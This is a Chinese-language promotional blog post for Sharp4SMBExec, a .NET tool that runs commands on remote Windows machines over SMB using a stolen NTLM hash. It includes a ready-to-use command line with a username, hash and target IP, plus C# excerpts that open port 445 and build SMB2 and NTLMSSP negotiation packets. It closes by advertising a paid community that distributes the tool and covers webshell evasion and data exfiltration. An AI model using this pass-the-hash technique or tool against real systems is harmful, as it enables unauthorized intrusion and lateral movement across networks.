.NET 一款支持NTLM实现横向移动的工具
01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4SMBExec 是一个强大的横向移动工具,允许用户在目标计算机上通过 SMB 协议执行命令,而无需知道目标用户的明文密码。只需要提供用户的 NTLM 哈希即可。这对于渗透测试和红队行动非常有用,因为在获取到用户的 NTLM 哈希后,可以利用该工具在目标机器上执行任意命令。
03使用方法
获取明文数据库连接字符命令行格式如下:username 是目标系统上的用户名,hash 是该用户的 NTLM 哈希,command 是要在目标机器上执行的命令,target 是目标计算机的 IP 地址。
Sharp4SMBExec.exe username:Ivan1ee hash:32ed87bdb5fdc5e9cba88547376818d4 command:c:\windows\system32\winver.exe target:192.168.101.141
04原理解析
工具的实现核心是利用 TcpClient 类来建立与目标计算机的 SMB 连接,并发送经过 NTLM 认证的 SMB 消息。以下是关键代码的解释:
TcpClient tcpClient = new TcpClient();
tcpClient.Client.ReceiveTimeout = 60000;
try
{
tcpClient.Connect(text, 445);
}
catch
{
stringBuilder.AppendLine("Could not connect to Target");
}
这段代码使用 TcpClient 尝试连接目标机器的 445 端口,这是 SMB 协议的默认端口。如果连接失败,将记录错误信息。下面这部分代码首先检查是否成功连接目标计算机。
if (tcpClient.Connected)
{
if (flag3)
{
stringBuilder.AppendLine(string.Format("Connected to {0}", text));
}
NetworkStream stream = tcpClient.GetStream();
byte[] array6 = new byte[1024];
string text8 = "NegotiateSMB";
byte[] bytesToSend;
OrderedDictionary orderedDictionary = new OrderedDictionary();
num2++;
byte[] array9 = new byte[2];
array9[0] = 1;
orderedDictionary = SMBExec.SMB2Header(array9, num2, packet_tree_ID, packet_session_ID);
OrderedDictionary packet_ordered_dictionary2 = SMBExec.NTLMSSPNegotiate(array2, null);
byte[] array10 = Utilities.ConvertFromPacketOrderedDictionary(orderedDictionary);
orderedDictionary2 = SMBExec.SMB2SessionSetupRequest(Utilities.ConvertFromPacketOrderedDictionary(packet_ordered_dictionary2));
byte[] array11 = Utilities.ConvertFromPacketOrderedDictionary(orderedDictionary2);
bytesToSend = Program.GetNetBIOSSessionService(array10.Length, array11.Length).Concat(array10).Concat(array11).ToArray<byte>();
}
然后,通过 NetworkStream 获取网络流并构造 SMB2 消息来进行初始协商(NegotiateSMB)和会话设置(SessionSetupRequest)。这些消息使用 NTLM 认证信息,以便后续的命令执行请求能够被目标机器识别和接受。
综上,Sharp4SMBExec 是一个强大的渗透测试工具,通过使用 NTLM 哈希,可以在目标计算机上远程执行命令。其实现原理基于 SMB 协议的操作与 NTLM 认证,是进行横向移动和攻击 Windows 环境的利器。工具已经打包在星球,感兴趣的朋友可以加入自取。
05.NET安全星球
dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,每日分享.NET安全技术干货以及交流解答各类技术等问题。
星球20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
.NET 免杀WebShell
.NET 反序列化漏洞
.NET 安全防御绕过
.NET 内网信息收集
.NET 本地权限提升
.NET 内网横向移动
.NET 目标权限维持
.NET 数据外发传输